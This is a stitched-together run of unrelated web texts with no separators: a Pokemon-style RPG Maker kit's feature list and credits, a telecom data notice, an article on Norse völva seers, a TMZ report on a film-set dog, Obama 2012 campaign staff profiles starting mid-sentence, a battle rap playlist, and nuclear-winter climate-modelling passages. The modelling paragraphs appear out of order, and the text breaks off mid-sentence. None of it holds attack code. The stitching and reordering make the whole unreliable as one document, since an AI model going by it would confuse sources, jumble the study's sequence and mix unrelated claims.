Cast Animations (Messages go by fast, so this help you know who used what happened)
Moves like Fly and Dig are ready to be created
Additional conditions for events
Infective States (States can randomly be spread around the battle)
Custom Weather
Custom Transitions
Skill and item selection no longer hide the battlefield
Picture Gallery
Functional Daycare
Pokemon Eggs
Map Connection
Achievements
Box Storage streamlined from the Box Names
New scenes bring a more Pokemon-like atheistic to the kit.
Merged the items, weapons(not used), and armors into one list for the bag.
Keyboard based text entry.
Berries
Limited HM support
Trainer Card with Badges
Pokegear
Shadow Pokemon
Credit
Scripts:(Mini Scripts are Mine)
Crystal Noel (obviously)
Yanfly
Victor Sant
Yami
Dekita
Tuskihime
GubiD
TDS
Estriole
Xzeph
Mr. Bubble
TheoAllen
William Couillard
Syvkal
Moghunter
Fomar0153
Galv
DiamondandPlatinum
Khas Arcthunder
Kread-EX
Mithran
Xypher
Eugene222
Casper Gaming
Jet10985
Modern Algebra
Ventwig
Nicke
DerTraveler
Shaz
Cremno
KilloZapit
Saba Kan
Raizen
FL
Resourses:
Kurai
MrMasterMrDoom
P-Sign
Clowcardruler
Maruno
Venom12
FL
Apoclaydon
Jtanooki
Rick1234
Wvistaultimate
Timmah
Snivy101
Tebited15
Welseyfg
Jellojolteon
Mindnitez-REMIX
AzRaezel
Scanime
EvilEagles
Melody Storm
TyranitarDark
Chris Marsh
Sheano
Dusty Collector
RPG Maker Times
More Cowbell
GrandmaDeb
The Dreaming Boy 88
Dashinghero
PhoenixOfLight92
Everyone involved in this Sprite Project
AdvertisementsAfter we were forced to cancel the Unlimited Music service in May because of a CRTC decision, we temporarily gave customers free data add-ons to make up for it.
So some customers affected by the cancellation of Unlimited Music received an extra 8 GB block of data.
As we indicated in previous posts as well as in the explanatory letter you received during the summer, this was a temporary measure designed to ease customers through the transition period.
The temporary 8 GB add-on will be gradually replaced by a block of data based on your peak usage of Unlimited Music during the 12 months preceding the cancellation of the service on May 10, 2017.
The updates are being rolled out starting today. You can track your data usage at the Customer Centre or with the User Centre + app.
If you have any other questions, ask the Community. They’re sure to come up with an answer!
Don’t have a Customer Centre account yet? Set it up and take advantage of features like usage tracking and many other options.During pagan times in Scandinavia, women were the chief practitioners of magical medicine. The Eddic poems reference many instances of incantations, usually chanted by females. These charms are not written down so we don’t know if they were meant to cure particular ailments or restore good fortune in general. There were several categories of pagan priests, soothsayers or those who recited incantations, as well as a subordinate echelon of individuals who made a living practicing magic arts and powers. Among these individuals was a category called a vǫlva, a type of female seer who appears in poetry and prose.
The term vǫlva is translated as “prophetess” or “sibyl” and comes from the root word that means “magical staff”. Many times in Norse literature these female prophets are depicted carrying a staff. In the sagas, the vǫlva travels from farm to farm, sometimes with an entourage answering questions about the future such as the outcome of the coming farm season or men’s destinies. The vǫlva is greeted respectfully and a feast would be celebrated in her honor. Before replying to a specific question, the vǫlva would go into a trance or dream state and summon spirits, usually sitting on a stage. Her assistants would accompany her, singing chants and incantations. After the chants, she would pronounce her prophecies of good fortune and respond to questions.
One of the fullest accounts of this type of séance comes from the “The Saga of Eirik the Red” written in the late thirteenth century which recounts events in the settlement of Greenland in the beginning of the eleventh century. Although this account may have been fiction, the author seems to have knowledge of these events and processes.
The writer tells us there was a woman in Greenland, a vǫlva named Ƿorbjörg, who went from farm to farm in the winter to answer questions about the coming harvest and men’s fate and fortunes. The prior season had been particularly bad and men were especially anxious to know the outcome of the upcoming harvest. The greatest farmer in the area named Ƿórkell invited Ƿorbjörg into his home. A high seat was prepared for her and a cushion filled with hen feathers placed on the chair.
The “Saga” describes her appearance:
She was wearing a blue strapped cloak, all set with stones down to the hem; she had glass beads round her neck, and on her head a black lambskin hood with the lining of white catskin; and in her hand she had a staff with a knob on it, which was mounted with brass and had stones set in it round the base of the knob. She had a belt of touch-wood round her, and on it was a large skin pouch in which she kept her charms which she had to have for her magic. She had hairy calfskin shoes on her feet, and long shoelaces with big tin knobs on the ends; she had on her hands gloves of catskin, white inside, and hairy.
She was given a special dish of porridge made of kid’s milk and another dish made of hearts of all the living creatures available. When the feast was over and the tables removed, farmer Ƿórkell asked Ƿorbjörg how she liked his household and when would he know the answers to his questions. She said she would have the answers the next day and requested a female helper who could chant the Warlock-Song. There was a woman in the crowd who knew the chant and was persuaded to participate.
The next day Ƿorbjörg mounted the platform which women had surrounded in a ring. The séance began. The helper sang the chant beautifully and everyone commented on how well it was sung. After the chant ended and the spirits were summoned, the vǫlva voiced her prophecies of good fortune and answered everyone’s questions. She then departed for the next farm.
Further reading: “Viking Age: Everyday Life During the Extraordinary Era of the Norsemen” by Kirsten Wolf, “Everyday Life in the Viking Age” by Jacqueline Simpson, The Viking Answer Lady: Women and Magic in the Sagas: Siedr and Spa'A Dog's Purpose' Terrified German Shepherd Forced into Turbulent Water
'A Dog's Purpose' Video Shows Terrified German Shepherd Forced to Film
EXCLUSIVE
One of the dogs in the upcoming film "A Dog's Purpose" desperately resisted shooting a risky scene, but chilling footage shows filmmakers apparently forcing the animal into rushing water.
TMZ obtained this video of a scene shot in a pool outside Winnipeg, Canada in November 2015. You can see a trainer forcibly shoving a German Shepherd -- one of at least 5 dogs used in the production -- into the frothing water, but the animal wanted NO part of it... and repeatedly clawed at the pool's edge.
Sources connected to production tell us 8 outboard motors were used to churn the water and recreate a rushing river. The dog eventually got in the water -- or was forced in -- but was quickly submerged.
It's unclear if the dog going under was scripted, but someone immediately yelled, "Cut it!"... and handlers rushed to the animal.
We're told director Lasse Hallström was present the whole time, and at least one member of the crew was extremely disturbed by the dog's treatment during this scene.
Amblin Partners and Universal Pictures |
were a fledgling tech firm, drawing from the deep talent pool of Chicago's tech scene to build what one of his hires called a $1 billion, "disposable startup."
3. Rayid Ghani
Chief Data Scientist
It's one thing to aggregate terabytes of data on the American electorate. It's quite another to make that data give up its secrets. For that job, the campaign snatched up Rayid Ghani, an expert in artificial intelligence from Accenture Labs, to be its Chief Data Scientist - an unprecedented job title on a presidential campaign.
Ghani's directive was to devise algorithms that could sift through the massive amounts of data collected by the campaign. If you used Facebook to log onto the Obama campaign's website, you revealed to them your entire social network. The campaign also leveraged the work of 2 million volunteers who interviewed more than 24 million voters - and took notes that could be plumbed for their "motivations, attitudes, and protestations."
The campaign used the Ghani's top-shelf analytics to rank target voters individually. "We could build support scores for every single voter in battleground states," Messina said at a late-November Politico event. "1 to 100, on whether they would support us.
The data also allowed the campaign to tease out how to best message these target voters - information that could be pushed out to door-knockers in the field. The guiding principle for Ghani's and the campaign's work, he said in a recent interview, was simple: "Does it get me more votes? If not, I don't care."
4. Harper Reed
Chief Technology Officer
No one personified the hacker vibe of the Obama campaign more than Harper Reed, the campaign's Chief Technology Officer, who sported a caveman beard, Buddy Holly glasses and ear piercings. When Reed was hired, Jim Messina reportedly told him: "Welcome to the team. Don't fuck it up."
Reed oversaw the creation of in-house tech tools, the most powerful of which was Dashboard - the campaign's all-in-one solution to empowering organizers and managing their efforts. Dashboard was a web tool that could be accessed by mobile devices as well as desktop computers, helping guide a volunteer's efforts - whether the job was making calls, registering new voters, door knocking or turning out the vote on Election Day.
A hierarchical social network, Dashboard gave volunteers on the ground a platform with which to communicate with Obama 2012 team members in their neighborhood and even track their performance against their peers'. More important, the program fed data up the chain of command to paid field organizers, regional managers, and back to Chicago, so that the campaign could measure the performance of its field operation in real time.
The Romney campaign's tool designed to monitor turnout on election day, Orca, was never properly tested and failed disastrously in the crunch. By contrast, Reed stress-tested his programs and systems in live-action role play simulations. "We worked through every possible disaster situation," Reed told the Atlantic. "We did three actual all-day sessions of destroying everything we had built."
5. Jeremy Bird
Field General
Organizing the Obama campaign's unprecedented army of get-out-the-vote volunteers was Jeremy Bird, a former Harvard divinity student who took to political organizing as though it were his higher calling. Bird leveraged the technology of Dashboard to organize far beyond the campaign office. "We could run neighborhood races," he said at Harvard. Yes, the Obama campaign outpaced team Romney with its network of campaign offices in the swing states - 786 to 284, by one academic's count. But for team Obama, each of those offices was just a hub for a network of volunteer field offices, each headed by a "neighborhood team leader" who had been rigorously trained up to the competence of a paid staffer, who organized in the precincts of actual voters. As a result, team Obama had an exponential advantage over Romney. "We had 30,000 neighborhood team leaders who did basically nothing but volunteer for us full-time," Messina said.
"Our volunteer neighborhood team leaders owned the campaign," Bird said. "They had 8-10 precincts and they knew how many people they needed to register, knew how many people they had to persuade. They knew where the polling locations were because their kids went to school there, they went to church there." Bird admitted that the campaign's biggest trouble spot - especially early on - was the youth vote. "We knew we had to organize meticulously and doggedly on these college campuses," he said. On a campus like Ohio State, that meant ramping up the number of organizers from two in 2008 to as many as ten in 2012. The campaign had "the wind at our back" in 2008, Bird said. "This time we knew we had to grind it out."
6. Teddy Goff
Digital Director
Teddy Goff directed the Obama campaign's digital operations. That included handling the campaign's email list for fundraising. The campaign famously A/B tested the efficacy of different asks to small groups - emails beginning with "hey" were particularly effective - before blasting the best performer to the entire list. The end result: $690 million raised online, up from $500 million in 2008.
But Goff was also captain of the campaign's social media outreach. In the 2008 campaign, Twitter was in its infancy, and Facebook (at 1/10th its current size) played a bit role in the campaign's outreach. By the end of 2012, in contrast, the president had nearly 24 million Twitter followers and 34 million Facebook friends.
That gave the campaign a direct line of communication to distribute high-quality shareable content - videos, fact checks, you name it - to millions of supporters who could lobby their friends. "People really trust their friends, not political advertising," Goff said. "That's why we put so much effort into making sure our supporters could be effective ambassadors for the campaign."
Social networks also gave the campaign a lifeline to contact sporadic voters. Goff said the campaign didn't have phone numbers for as many 50 percent of its get-out-the-vote targets under age 30. But they could reach 85 percent of those voters through a Facebook connection of another supporter. This "targeted sharing" - friends lobbying friends on behalf of the campaign through Facebook - was a true revolution in digital campaigning, one the Obama team credits for nearly repeating the wave-election turnout of 2008.
In contrast to the relentless negativity of the TV ad war, Goff's social media outreach also provided supporters "a whole different campaign," he says, full of positive messages about supporting the middle class and fighting for education-"uplifting stuff."
And Twitter in particular, gave the campaign a new way to capitalize on the most polarizing elements of the GOP campaign, whether it was the selection of Paul Ryan as Romney's VP - "he was highly meme-able," said Goff - or providing an instant response to Clint Eastwood's empty-chair lecture at the GOP convention, Tweeting out a picture of Obama in a chair reserved for the president saying "this seat's taken." "At the time," Goff said, "that was the second most retweeted thing we ever did-second only to the same sex marriage announcement."
7. David Axelrod
Senior Adviser
As he did in 2008, David Axelrod reprised his role as the campaign's big-picture strategist. Immediately after the shellacking of the 2010 election, Axelrod recalled at the Harvard conference, he recognized that "the gravitational pull in the GOP was very much to the right" and that any plausible Republican candidate was going to "have to pass through that tollbooth to be nominated."
Staking a bet that Romney was indeed the inevitable nominee, Axelrod was determined to draw out the nominating process and make Romney pay the price the price for his "Faustian bargains" with the GOP base. "It set us up to seize the middle," he said.
Specifically, the Obama campaign made itself a player in the GOP primaries by hitting Romney then - not in the general election - for his flip flopping. "By introducing the issue of the alacrity with which he switched positions," Axelrod said, "we could lengthen the Republican primary process. Core Republicans would be doubtful of his convictions."
The result was that Romney had to court the far right by staking out extreme positions on issues like immigration, and even throw a Hail Mary by choosing right-wing darling Paul Ryan to be his running mate. Despite those heroic contortions, Axelrod gloated, "he never did solidify the base."
8. Stephanie Cutter
Deputy Campaign Manager
Every campaign needs an attack dog and someone to call "bullshit." Obama 2012 found both skills in Stephanie Cutter, the most high-profile woman on staff, whose nickname in Chicago was "The Ninja."
Cutter rose to prominence in political circles as a fixer, helping patch up Bill Clinton's image after the Monica Lewinsky debacle. But she had also been the communications chief for John Kerry in 2004, and, fairly or unfairly, shouldered much of the blame for that campaign's failure to contest the attacks by the Swift Boat Veterans for Truth.
Cutter clearly learned from that scarring experience, leading the Obama campaign's rapid response to the flamboyant lies of the Romney campaign, in particular with straight-to-the-camera, this-is-how-it-really-is-folks YouTube videos like this one setting the record straight on Obama and Romney's plans for Medicare.
Positioning herself as the campaign's trusted voice of reason also made Cutter an effective attack dog, and she savaged the Romney campaign with gusto. When Romney picked Ryan, Cutter recalled at Harvard, "they weren't ready to answer whether Romney supported Ryan's agenda. They didn't have clean answers on whether he supported the Ryan budget - but we had Romney on record for so long supporting the Ryan budget. Romney had called Ryan 'the intellectual leader of the Republican party.'"
9. David Simas
Director of Opinion Research
David Simas ran the single most sophisticated polling operation in the history of presidential politics. And his operation helped not only guide the campaign's message on Romney's Bain record and building a better future for the middle class, it also gave the campaign deep confidence going into election day that it was on target for victory.
Simas helped turn Romney's biggest strength - his technical knowledge about the economy - into a major weakness, fine tuning the campaign's attacks on Bain Capital as an instrument of vulture capitalism. "The importance of Bain was to basically give him the technical expertise [argument]," Simas said at Harvard, "but essentially say just because he's been successful doesn't mean that you, as a middleclass family, are going to benefit from it."
Simas helped Obama find his best message for a contrasting vision on the economy - a "middle class security message." He was surprised, he said, that by a 55 to 39 margin, Americans said that "a vibrant and strong middle class was really the key" to growing the economy.
As the general election heated up, the Obama campaign had three separate sets of polling that measured the battleground. One, a weekly (and eventually daily) poll of the battleground by the campaign's in-house pollster, Joel Beneson. Two, a suite of state-based pollsters, experts on their home demography, who conducted sophisticated surveys across ten states. And third, a separate nightly survey headed up by the campaign's analytics department that interviewed 9,000 battleground voters every night, giving the campaign what Messina called "a very deep look at the electorate."
Messina said Simas' tri-pronged polling operation gave the campaign "real confidence" of victory because "all three were saying the same thing." Added Axelrod: "We were never behind in our own polling - never." The media's horserace coverage and spin from the Romney camp, he said, gave the campaign an "illusion of volatility," but "this race was fundamentally stable throughout."
10. Jim Margolis
Senior Adviser, Adman
Jim Margolis led the president's TV ad blitz, outfoxing Mitt Romney and his allies to air far more television spots despite being outspent. The key, Margolis said at Harvard, was keeping more money in-house. In total the Obama campaign aired more than half a million of its own ads, compared to just 190,000 aired by Romney campaign. Romney's allies tried to make up the difference. And the GOP machine ultimately spent $135 million more on television than did Obama and Democratic allies.
But while candidates themselves qualify for the lowest rates broadcasters offer, SuperPAC players were forced to pay what the market would bear. That meant Margolis and his team were spending a half - or even a third - of what Karl Rove's American Crossroads was paying for the same airtime.
The ad team also integrated seamlessly with the high-powered analytics of the data-driven Obama campaign. The campaign relied on incredibly detailed, commercially available data gathered from the from the set-top boxes of Americans in the battleground. "That information could then be combined with the voter file and all the other information we had," said Margolis, which allowed the campaign, "in a much more targeted way, [to] speak to who we wanted to speak to." By leading the campaign to air spots on who'da-thunk-it networks like TV Land - the channel for rerun addicts - Margolis said the analytics gave the ad team a "15 percent additional efficiency" in spending donor dollars on ads that would actually move votes.
Perhaps most important, Margolis and the rest of the Obama team made a bold call to hit the air hard and early attacking Romney on his business record. "One of the key decisions we made," Axelrod said at Harvard, "was to frontload our ad spending on TV from May through August on the theory that that's when it would have the greatest impact." It was a gamble. The danger was that the campaign would deplete its war chest and get viciously outspent in the home stretch.
But it was a good bet. "That frontloading helped to set the stage in these voters' minds," Axelrod said. "When the 47 percent video came out, all of that work that had been done put that in the appropriate context for these voters."
With a successful convention, the Obama team was able to reload for the final ad war, already having done Mitt Romney's reputation severe damage. "Our strategy," Axelrod said, "was much more effective."
ARTICLEBODYGOESHEREYour monthly mixtape of music from the battle rap community.
Every month we compile a list of the best singles, videos and albums to come out of the battle rap community. This edition features a polished single from Dot Mob, Marv Won and Illmaculate collaborating for a new project, and Unanymous sending for the Don't Flop roster.
Murda Mook, T-Rex, Dutch Brown — "Voices"
Shotty Horroh — "Jab"
Head I.C.E — "I'll Be This Way"
Dre Dennis — "Who Choked Ya" (Aye Verb Diss)
https://www.youtube.com/watch?v=nm9kt9absxI
Daylyt + Mr2TheP — "Fuck The System"
B Dot — "Growth (And Contradictions)"
Bishop Brigante, Marv Won, Cortez, Pass — "KOTD Cypher Series Vol. 2"
Rain910 — "Big Gold Chain"
T-Top — "Thinkin"
Marv Won & Illmaculate — Birthday Boys
Birthday Boys (prod. by Calvin Valentine) by Birthday Boys
Unanymous — "Hunting Season" (Don't Flop Diss)
https://www.youtube.com/watch?v=_pplFMVyN0s&feature=youtu.be
Carter Deems — "Cat Fur"
Rich ImNice — "Girl I'm Dating"
Charlie Clips & DNA — "Grind Mode Cypher"
Ty Law — "Sugar Ray Robinson"
Soul Khan — "LAX To JFK"
Lu Cipher, Jonny Storm, MyVerse, Baby J — "Waystid Shottas"
Bru-C — "Falling"
Ave — "Nobody"
DNA — Black History Verse For Revolt TV
Mike Wiald (FKA Wildcard) — The Silent Protagonist (TSP Vol. 1)
DNA, Cortez, Chess, Rich ImNice, Steams, Xcel, Oun-P — "Sincere Cypher"
Emerson Kennedy — "Key To Life"
JShort — Sleep When You're Dead
Sleep When You're Dead by JShort
Favorites? Let us know in the comments below.Recently, Stenke et al. [ 2013 ] used a third independent model to confirm the major findings of these two previous studies. That study used the chemistry‐climate model SOCOL3 to assess impacts on climate and stratospheric ozone for a range of inputs and particle sizes. The study coupled a mixed‐layer ocean with a depth of 50 m and a thermodynamic sea ice module to a high‐top atmospheric model, which calculated chemistry effects in agreement with Mills et al. [ 2008 ]. Unlike Robock et al. [ 2007b ], the study did not consider active ocean dynamics, and hence could not incorporate the climate effects of changing ocean circulation. The inclusion of only the top 50 m of ocean limits the thermal inertia effects that occur in the presence of a deep ocean, making surface temperature responses too rapid, as the heat content of the deeper ocean is not considered.
Since 2007, studies have revisited the issue of global nuclear conflicts with modern global climate models, confirming the severity of the climatic impacts that had been predicted with simple climate models or with short simulations of low‐resolution atmospheric general circulation models in the 1980s [ Robock et al., 2007a ], and raising new concerns about severe global climatic impacts of regional nuclear conflicts [ Robock et al., 2007b ; Toon et al., 2007 ; Mills et al., 2008 ; Stenke et al., 2013 ]. Even the smallest of nuclear weapons, such as the ∼15 kt weapon used on Hiroshima, exploding in modern megacities would produce firestorms that would build for hours, consuming buildings, vegetation, roads, fuel depots, and other infrastructure, releasing energy many times that of the weapon's yield [ Toon et al., 2007 ]. Toon et al. [ 2007 ] estimated the potential damage and smoke production from a variety of nuclear exchange scenarios, and found that smoke would initially rise to the upper troposphere due to pyroconvection. Robock et al. [ 2007b ] examined the climatic impact of the smoke produced by a regional conflict in the subtropics in which two countries each used 50 Hiroshima‐size (15 kt) nuclear weapons, creating such urban firestorms. Using the global climate model GISS ModelE (Goddard Institute for Space Studies, New York), they calculated that nearly all the 5 Tg of smoke produced would rise to the stratosphere, where it would spread globally, reducing the global average temperature by 1.25°C for 3–4 years and by more than 0.5°C for a decade. This effect was longer lasting than that found in previous “nuclear winter” studies, because older models could not represent the rise of smoke into the stratosphere. Mills et al. [ 2008 ] then used a chemistry‐climate model to calculate that the concurrent heating of the stratosphere by up to 100°C would produce global ozone loss on a scale unprecedented in human history, lasting for up to a decade.
In the 1980s, studies of the aftermath of a global nuclear conflict between the United States and the Soviet Union predicted that airborne particles, such as fine soil and smoke resulting from explosions and fires, could circle the globe, producing “twilight at noon,” and cooling the surface for years, in what became known as “nuclear winter” [ Crutzen and Birks, 1982 ; Turco et al., 1983 ; Pittock et al., 1985 ]. Further studies looked at perturbations to atmospheric chemistry, predicting that odd nitrogen produced by the largest nuclear weapons could loft to the stratosphere, resulting in significant ozone loss, and an “ultraviolet spring” to follow [ National Research Council, 1985 ; Stephens and Birks, 1985 ]. Leaders in the United States and the Soviet Union became aware of the global environmental damage of nuclear war and subsequently negotiated treaties that have significantly reduced their nuclear stockpiles from their peak near 65,000 in 1986 to less than 20,000, a decline that continues with further negotiations in recent years [ Robock et al., 2007a ; Toon et al., 2007, 2008 ]. Nevertheless, significant numbers of weapons remain, and the number of nuclear‐armed states continues to increase.
We also diagnosed effects on stratospheric chemistry by comparing the ensemble average column ozone from our control runs to the ensemble average from the CESM1(WACCM) CMIP5 runs for the first 6 years after we introduced the change in time step. We found no significant differences in either the global mean or latitudinal distribution of column ozone due to the change in time step. The effects of changing the model time step are relatively minor compared to those of 5 Tg of BC in the stratosphere, which is the focus of our study.
Because we started from an RCP4.5 scenario in 2013, the initial atmosphere is not in radiative balance, but is warming in response to anthropogenic greenhouse gases. The radiative imbalance at the top of the model is 0.977 W m −2 in our CMIP5 run for years 2023–2038. The effect of increased clouds is to reduce this by a factor of 10 to 0.092 W m −2, bringing the model close to the radiative balance that would be seen in a steady state, such as the static conditions used for previous nuclear winter calculations. We ran an additional case in which the 5 Tg of BC is added in year 10 of the control run. These calculations confirm that our calculated BC mass, and surface anomalies in SW flux, temperature, and precipitation are not significantly affected by any transient adjustments after the initial change in time step.
To understand the effects of changing the model time step on our conclusions, we diagnosed the climate of one of our control runs for years 2023–2038, 16 years starting 10 years after the change in time step, with reference to the climate of the same years from one of the CESM1(WACCM) CMIP5 runs for RCP4.5, the same forcing scenario used in our runs. The effect of increased low clouds is to change the global shortwave (SW) cloud forcing from −55 to −62 W m −2. Observations from Clouds and Earth's Radiant Energy Systems (CERES) Energy Balanced and Filled (EBAF) put this forcing near −51 W m −2, so the change produces a more reflective planet than is observed (A. Gettelman, personal communication). This may lead to an underestimation of the surface cooling anomaly in our calculations, because the effect of extinction in the stratosphere would be reduced if less SW radiation reaches the surface in both our control and experiment runs. At the same time, global longwave cloud forcing increases from 30 W m −2 in our CMIP5 run to 34 W m −2. Observations from CERES EBAF put this forcing near 26–27 W m −2, so the change is toward more greenhouse warming from high clouds than is observed. This 4 W m −2 increase in cloud forcing partially offsets the surface cooling effects of the 7 W m −2 decrease in the SW. The changes in cloud forcing occur mostly in the tropics.
The three members of each ensemble were configured with different initial conditions for the ocean, land, and sea ice components, derived from the ensemble of three RCP4.5 CESM1(WACCM) runs conducted as part of CMIP5 [ Marsh et al., 2013 ]. These components interact with the atmosphere, producing a representation of natural climate variability among the three runs in each ensemble. As we will show, the variability that we calculate within each ensemble is small compared to the differences between the experiment and control ensemble averages, indicating that the effects we calculate are not attributable to model internal variability.
In the experiment runs, 5 Tg of BC was added to the initial atmospheric condition in a constant mass mixing ratio of 1.38 × 10 −6 kg/kg air between 300 and 150 hPa in a horizontal region spanning 50 adjacent model columns roughly covering India and Pakistan. The BC heats the atmosphere to extreme conditions, requiring a reduction of the model's standard time step from 30 to 10 min. Because this reduction in time step produces a significant increase in cloudiness in the model due to dependencies in the cloud parameterization, we reduced the time step consistently in the experiment and control runs. We also tried an alternate approach of increasing the dynamical substepping in the model, but found that the 16‐fold increase in the number of substeps required to produce a stable result produced a similar increase in clouds to our original approach. We diagnose the effects of reducing the model time step in section 2.4..
We have performed an ensemble of three “experiment” runs initialized with 5 Tg of BC with 50 nm radius over the Indian subcontinent. A fourth experiment run includes the same mass and spatial distribution of BC, with 100 nm sedimentation radius. We compare these experiment runs to an ensemble of three “control” runs without this additional BC. Each of these seven runs simulated the time period from 1 January 2013 to 1 January 2039, with concentrations of greenhouse gases and other transient constituents changing with time according to the specifications of the “medium‐low emissions” Representative Concentration Pathway (RCP4.5) scenario [ Meinshausen et al., 2011 ], a baseline for climate projections. We also tried starting the simulated conflict on 15 May, as was done by Robock et al. [ 2007b ] and Stenke et al. [ 2013 ], and found that the different season did not significantly affect the stratospheric distribution or climatic impact of the BC. Because of the prolonged surface cooling that we calculated, we extended our runs beyond the 10 year span used in previous studies to 26 years.
We do not allow calculated particle populations to change radiatively or microphysically other than by rainout, sedimentation, and transport. The particles are assumed to be completely hydrophilic from the start, and hence are subject to rainout in the troposphere. We assume a mass density of 1 g cm −3 for each BC particle, consistent with measurements of atmospheric BC particles collected on filters, which are composed of smaller, denser particles aggregated in fractal formations with spatial gaps [ Hess et al., 1998 ]. As Toon et al. [ 2007 ] point out, coagulation of BC is likely to form chains or sheets, which would have the same or higher mass absorption coefficients as smaller BC particles. Drag forces would decrease sedimentation of such chains or sheets compared with aerosols that grow as simple spheres. Our neglect of coagulation, assuming a monodisperse distribution of 50 nm radius spheres, should more accurately predict stratospheric lifetime under conditions with fractals than a treatment of growth into larger spheres with faster sedimentation. Toon et al. [ 2007 ] also indicate that the BC is likely to become coated with sulfates, organics, and other nonabsorbing materials, which could act as lenses, refracting light onto the BC. This effect might increase absorption by ∼50%, leading to potentially greater impacts than those we modeled.
We have coupled WACCM with version 3 of the Community Aerosol and Radiation Model for Atmospheres (CARMA3), a flexible three‐dimensional bin microphysics package that we have adapted for the treatment of black carbon (BC) aerosol. This allows the BC to experience gravitational settling, and obviates the implementation of molecular diffusion, which the gas‐phase tracers in WACCM experience at high altitudes. CARMA originated from a one‐dimensional stratospheric aerosol code developed by Turco et al. [ 1979 ] and Toon et al. [ 1979 ] that included both gas‐phase sulfur chemistry and aerosol microphysics. The model was improved and extended to three dimensions as described by Toon et al. [ 1988 ]. Extensive updates of the numerics continue to be made. For this study, we limit BC to one size bin of fixed radius. As described below, we performed an ensemble of runs assuming a microphysical radius of 50 nm, to be consistent with the optical properties of BC assumed in the model's radiative code, which are derived from the Optical Properties of Aerosols and Clouds (OPAC) software package [ Hess et al., 1998 ]. Our previous studies of BC in the stratosphere from nuclear war and space tourism used these same optical properties, but with a radius for sedimentation that was twice as large [ Mills et al., 2008 ; Ross et al., 2010 ]. We also conducted one perturbation run using the same 100 nm radius for sedimentation as those previous studies, for comparison in the coupled model.
We revisit the scenario of nuclear war between India and Pakistan, each side using 50 Hiroshima‐size weapons in megacities on the subcontinent, using the first version of NCAR's Community Earth System Model (CESM1), a state‐of‐the‐art, fully coupled, global climate model, configured with fully interactive ocean, land, sea ice, and atmospheric components [ Hurrell et al., 2013 ]. For the atmospheric component, we use the Whole Atmosphere Community Climate Model, version 4 (WACCM4), which is a superset of version 4 of the Community Atmospheric Model (CAM4), and includes all the physical parameterizations of that model [ Neale et al., 2013 ]. WACCM is a “high‐top” chemistry‐climate model that extends from the surface to 5.1 × 10 −6 hPa (∼140 km). It has 66 vertical levels and horizontal resolution of 1.9° latitude × 2.5° longitude. WACCM includes interactive chemistry that is fully integrated into the model's dynamics and physics. Heating the stratosphere, for example, feeds back onto chemical reaction rates. Photolysis rates are calculated based on extinction of exoatmospheric flux from overhead ozone and molecular oxygen, and are unaffected by aerosol extinction. WACCM uses a chemistry module based on version 3 of the Model for Ozone and Related Chemical Tracers (MOZART) [ Kinnison et al., 2007 ], tailored to the middle and upper atmosphere. The chemical scheme includes 59 species contained in the O x, NO x, HO x, ClO x, and BrO x chemical families, along with CH 4 and its degradation products; 217 gas‐phase chemical reactions; and heterogeneous chemistry that can lead to the development of the ozone hole. For our simulations, CESM1 includes the active land, ocean, and sea ice components described by Lawrence et al. [ 2011 ], Danabasoglu et al. [ 2012 ], and Holland et al. [ 2012 ], respectively. The full ocean model extends up to 5500 m in depth, and includes interactive, prognostic ocean circulation. The nominal latitude‐longitude resolution of the ocean and sea ice components is 1°, the same as in CESM1(WACCM) simulations conducted as part of phase 5 of the Coupled Model Intercomparison Project [ Marsh et al., 2013 ].
3. Results
3.1. BC Rise and Meridional Transport As in previous studies of this scenario [Robock et al., 2007b; Mills et al., 2008], the BC aerosol absorbs SW radiation, heating the ambient air, inducing a self‐lofting that carries most of the BC well above the tropopause. CESM1(WACCM) has 66 vertical layers and a model top of ∼145 km, compared to 23 layers up to ∼80 km for the GISS ModelE used by Robock et al. [2007b] and 39 layers up to ∼80 km for SOCOL3 used by Stenke et al. [2013]. As Figure 1 shows, we calculate significantly higher lofting than Robock et al. [2007b, compare to their Figure 1b], penetrating significantly into the mesosphere, with peak mass mixing ratios reaching the stratopause (50–60 km) within 1 month and persisting throughout the first year. This higher lofting, in conjunction with effects on the circulation we discuss later, produces significantly longer residence times for the BC than those in previous studies. At the end of 10 years, our calculated visible‐band optical depths from the BC persist at 0.02–0.03, as shown in Figure 2. In contrast, Robock et al. [2007b] calculate optical depths near 0.01 only at high latitudes after 10 years, a level that our calculations do not reach for 15 years. Figure 1 Open in figure viewerPowerPoint The time evolution of BC mass mixing ratio (kg BC/109 kg air) is shown for the average of the 50 nm experiment ensemble. The horizontal axis shows time in years since the emission of 5 Tg BC at 150–300 hPa on 1 January. Figure 2 Open in figure viewerPowerPoint The time evolution of zonal mean total column BC optical depth in the visible part of the spectrum is shown for the 50 nm experiment ensemble average. The vertical axis shows latitude. The horizontal average shows time in years.
3.2. BC Burden, Rainout, and Lifetime During the first 4 months, 1.2–1.6 of the 5 Tg of BC is lost in our 50 nm experiment ensemble, and 1.6 Tg in our 100 nm experiment, mostly due to rainout in the first few weeks as the plume initially rises through the troposphere (Figure 3a). This is larger than the 1.0 Tg initially lost in the study of Mills et al. [2008], which used a previous version of WACCM. This is likely due to the difference in our initial distribution of BC compared to that previous study, which injected 5 Tg into a single column at a resolution four times as coarse as ours. The more concentrated BC in the previous study likely produced faster heating and rise into the stratosphere, mitigating rainout. Our calculated rainout contrasts with the lack of significant rainout calculated by the GISS ModelE [Robock et al., 2007b], which assumes that BC is initially hydrophobic and becomes hydrophilic with a 24 h e‐folding time scale. The mass burden reaching the stratosphere and impacts on global climate and chemistry in our calculations would doubtless be greater had we made a similar assumption to the GISS ModelE. Stenke et al. [2013] calculate an initial rainout of ∼2 Tg in their interactive 5 Tg simulations, which assumed BC radii of 50 and 100 nm in two separate runs. After initial rainout, the mass e‐folding time for our remaining BC is 8.7 years for the average of our 50 nm experiment ensemble and 8.4 years for our 100 nm experiment, compared to the 6 years reported by Robock et al. [2007b], ∼6.5 years by Mills et al. [2008], 4–4.6 years reported by Stenke et al. [2013], and 1 year for stratospheric sulfate aerosol from typical volcanic eruptions [Oman et al., 2006]. Due to this longer lifetime, after about 4.8 years the global mass burden of BC we calculate in our ensemble is larger than that calculated by the GISS ModelE, despite the initial 28% rainout loss. After 10 years, we calculate that 1.1 Tg of BC remains in the atmosphere in our 50 nm experiment ensemble and 0.82 Tg in our 100 nm experiment, compared to 0.54 Tg calculated by the GISS ModelE and 0.07–0.14 Tg calculated by SOCOL3. Figure 3 Open in figure viewerPowerPoint −2), (c) the surface temperature anomaly (K), and (d) the precipitation anomaly (mm/day). The dark blue dashed line and light blue shading show the average and range of our 50 nm experiment ensemble. The gold line shows our simulation assuming a 100 nm aerosol radius. The dark red dashed line and pink shading show the ensemble average and range for 